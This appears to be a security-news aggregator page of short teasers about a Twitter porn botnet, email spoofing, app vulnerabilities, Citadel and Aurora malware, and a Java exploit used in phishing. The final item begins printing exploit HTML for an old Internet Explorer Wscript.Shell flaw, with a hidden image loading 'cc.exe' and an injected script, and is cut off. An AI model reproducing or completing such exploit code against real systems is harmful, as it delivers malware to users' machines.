Botnet Tweeting, Spamming Porn Shut Down

An adult-themed botnet was found by researchers and dismantled by Twitter last month. The Twitter-based botnet consisted of 86,262 bot accounts, and over the past six months blasted out 8.6 million tweets that attempted to lure males to pornographic, dating, hookup and cheating-spouse websites...

Gratipay: Email Spoofing

Hey Gratipay, It appears that spoofed email can be sent from 1 of your emails. The following email is vulnerable: [email protected] Information Email spoofing is the forgery of an email header so that the message appears to have originated from someone or somewhere other than the actual source...

Chess Tactic Puzzles - Dangerous filesystem permissions, WebView code execution vulnerabilities

HackApp vulnerability scanner discovered that application Chess Tactic Puzzles published at the 'play' market has multiple vulnerabilities...

Airport VPN hacked using Citadel malware

It sounds like an air traveler's nightmare, Researchers at Trusteer recently uncovered a variant of the Citadel Trojan targeting the virtual private network VPN credentials used by employees at a major airport.The firm would not disclose the name of the airport because the situation is being...

Attackers Go Phishing for Payroll Workers With Java CVE-2012-1723 Exploit

The Java CVE-2012-1723 vulnerability is suddenly the golden child of bugs. The flaw, which Oracle patched in June, has been the target of several pieces of malware and Web-based attacks of late, and now researchers say there is a phishing scam targeting payroll and HR employees that involves and...

An Inside Look at the Aurora Scareware Tactic

Some of the malware families that were part of the Operation Aurora attacks that targeted dozens of major U.S. companies are being installed through fake antivirus and scareware attacks, researchers say. Researchers at Damballa, which did an in-depth report on the Aurora attacks, found that the...

MS Internet Explorer Remote Wscript.Shell Exploit

No description provided by source. ----------------------------------------------------- default.htm ------------------------------------------------------- html body img src="cc.exe" width=0 height=0 style=display:none script language="Javascript" function InjectedDuringRedirection...